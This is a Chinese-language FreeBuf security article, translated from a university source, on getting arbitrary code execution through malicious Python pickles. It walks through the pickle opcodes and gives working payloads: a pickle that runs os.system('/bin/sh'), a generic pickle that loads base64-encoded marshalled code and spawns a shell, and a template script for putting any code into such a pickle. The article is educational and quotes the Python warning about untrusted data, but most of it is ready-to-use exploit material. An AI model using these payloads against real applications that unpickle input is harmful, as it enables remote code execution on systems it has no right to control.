freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

利用Python pickle实现任意代码执行 金币
2015-12-12 16:30:47

大量实践证明构建恶意的pickle非常容易,而对恶意pickle进行unpickle操作将可能会产生一个shell,甚至是一个远程shell。所以,本文中将向大家介绍如何利用Python pickle进行任意代码执行操作。

0x00 Python pickle禁忌

对于不是自己从已知数据中创建的Python pickle,不要对其进行unpickle操作,这是老生常谈的话题了。同时,pickle模块的Python文档中清晰地陈述道:

警告:对于错误的或恶意构造的数据来说,pickle模块并不能保证是安全的。绝对不要unpickle从不可信的或未经身份验证的信息源接收到的数据。

Nelson Elhage演示了通过使用subprocess.Popen来获取一个远程shell的简单过程。Marco Slaviero展示了如何构建各种标准的shellcode,包括绑定和连接shellcode,但这些基本上是不可读的,并且在pickle中编程只是无意义的娱乐消遣,甚至是完全没必要的,这一点我将在后文中展示。

0x01 pickle举例

首先,我们以Python pickle shellcode的canonical开始,我将其保存为canonical.pickle。

# canonical.pickle
cos
system
(S'/bin/sh'
tR.

接着,我们试着解包这个pickle,看看会产生什么结果。

>>> import pickle
>>> pickle.load(open('canonical.pickle'))
sh-3.2$

0x02 pickle简介

Pickle是一种堆栈语言,这意味着pickle指令将数据压入堆栈或者将数据弹出堆栈,并以某种方式操作它。为了理解canonical pickle是如何工作的,我们只需要理解6条pickle指令:

1、c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
2、(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
3、t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
4、S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
5、R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
6、.:结束pickle。

为了执行任意Python代码,以上指令是我们需要掌握的所有指令。

0x03 代码分析

接着,看一下canonical pickle shellcode。我们看到,内建函数os.system首先被压入了堆栈中。接着,一个标记对象和字符串“/bin/sh”也被压入堆栈。指令t产生了一个只包含1个元素的元组(’/bin/sh’,)。此时,堆栈中包含了两个元素:

os.system和(’/bin/sh’,)。指令R将以上两个元素都弹出堆栈,并调用os.system(‘/bin/sh’),然后将执行结果(shell返回值)压入堆栈中。

为了执行任意python代码,我们希望能够pickle代码。然而,这并不能行得通。不过幸运的是,Python 2.6之后的版本中包含了一个marshal模块,利用该模块就能对代码进行序列化操作。我们的基本任务是编写任意代码作为一个Python函数,对该函数进行marshal操作,并以base64方式对其编码,然后将其插入到一个通用的pickle中,而在这里pickle将会对其进行解码、unmarshal操作,并调用这个函数。

0x04 获取shell示例

对于我们的任意计算,我们先慢慢地计算10阶斐波那契数,并将其打印出来,然后得到一个shell。

import marshal
import base64
def foo():    
    import os    
    def fib(n):        
        if n <= 1:            
            return n        
        return fib(n-1) + fib(n-2)    
    print 'fib(10) =', fib(10)    os.system('/bin/sh')
print base64.b64encode(marshal.dumps(foo.func_code))

注意,因为Python允许我们导入模块,以及在函数内部定义函数,所以我们可以在我们的foo函数中编写想要的任何代码。

运行此代码生成以下内容:

YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMEAAAAYS5weVIBAAAABgAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMEAAAAYS5weXQDAAAAZm9vBAAAAHMIAAAAAAEMAQ8EDwE=

0x05 创建通用pickle

我们想要创建一个通用的pickle,这样我们可以向其中插入任意base64编码的函数并运行它们,比如上面编写的函数。从本质上讲,我们希望产生一个可以执行下面的Python代码的pickle,其中的code_enc就是我们编码后的函数。

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()

为了让其具有更好的可读性,调整其格式如下:

code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()

接着,让我们一点一点构建这部分。为了调用base64.b64decode(code_enc),我们模仿前面用os.system做的操作。

cbase64
b64decode
(S'YwAAA...'
tR

我们可以以相同的方式将调用对象添加到marshal.loads中:

cmarshal
loads
(cbase64
b64decode
(S'YwAAA...'
tRtR

通过使用__builtin__模块,可以以相同的方式调用函数globals:

c__builtin__
globals
(tR

为了构建函数,我们可以将这些结合到一起,然后得到:

ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAA...'
tRtRc__builtin__
globals
(tRS''
tR

最后,我们需要通过附加“(tR.”(其中句号结束了pickle)来调用堆栈顶部的函数。

将这些片段组合在一起,我们就得到了一个通用的pickle。

# generic.pickle
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMEAAAAYS5weVIBAAAABgAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMEAAAAYS5weXQDAAAAZm9vBAAAAHMIAAAAAAEMAQ8EDwE='
tRtRc__builtin__
globals
(tRS''
tR(tR.
>>> import pickle
>>> pickle.load(open('generic.pickle'))
fib(10) = 55
sh-3.2$

0x06 模板代码

另外,改变可执行代码仅仅需要改变foo函数,运行打印出marshal处理过和编码后的函数的Python程序,然后在替换generic.pickle中base64编码的字符串。

下面是一个很方便的模板。

# template.py
import marshal
import base64
def foo():    
    pass # Your code here
    
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'tRtRc__builtin__
globals
(tRS''tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

*原文地址:cs.uic.edu,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)

本文作者:, 转载请注明来自FreeBuf.COM

# python # shell # pickle # 任意代码执行
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑